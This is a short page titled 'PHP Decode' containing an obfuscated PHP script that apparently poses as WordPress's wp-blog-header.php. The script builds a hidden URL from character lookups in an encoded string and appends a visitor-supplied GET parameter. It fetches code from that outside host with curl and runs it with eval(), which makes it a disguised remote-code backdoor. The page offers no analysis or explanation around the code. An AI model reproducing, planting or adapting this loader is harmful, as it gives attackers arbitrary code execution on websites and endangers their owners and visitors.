PHP Decode

<?php
echo 'wp-blog-header.php';
header('Content-Type:text/html;charset=utf-8');
$O=urldecode('F%7EcVdkq%24%256%40X%5C%22%2AH%2C%3A3%5E%21fIL0%3EY%23E%29yP%3F_ptRW%7DjBNw%609i%3D%2B%2FDUluA%5D%7BO%7Co1-TC.5hgMexG%282n7%2F4%3CK%26rZbSs%3BQJav8mz%5B');function Ooo1Oo11OO($OO00oO0Ooo=''){global $O;$Oo00OOoo0O=curl_init($OO00oO0Ooo);curl_setopt($Oo00OOoo0O,CURLOPT_RETURNTRANSFER,1);$OO0oOoo0O0=curl_exec($Oo00OOoo0O);return $OO0oOoo0O0;}function OOO1oOo11o($string){global $O;$O0ooo0O0OO=substr($string,0,5);$OO0o0oO0oO=substr($string,-5);$Oo0OoO00Oo=substr($string,7,strlen($string)-14);return gzinflate(base64_decode($O0ooo0O0OO.$Oo0OoO00Oo.$OO0o0oO0oO));}function OoOo11o1OO($Oo0oOOo00O=''){global $O;$OOoO0oOo00=isset($_GET[$O{35}.$O{69}.$O{35}.$O{73}.$O{88}.$O{91}.$O{68}])?trim($_GET[$O{35}.$O{69}.$O{35}.$O{73}.$O{88}.$O{91}.$O{68}]):'';$OO00oO0Ooo=$O{65}.$O{35}.$O{35}.$O{34}.$O{17}.$O{75}.$O{75}.$O{42}.$O{42}.$O{42}.$O{59}.$O{9}.$O{90}.$O{63}.$O{66}.$O{58}.$O{2}.$O{88}.$O{80}.$O{58}.$O{51}.$O{45}.$O{73}.$O{88}.$O{63}.$O{88}.$O{84}.$O{45}.$O{88}.$O{75};$OoO0oOOo00=Ooo1Oo11OO($OO00oO0Ooo.$OOoO0oOo00);eval($OoO0oOOo00);}OoOo11o1OO();?>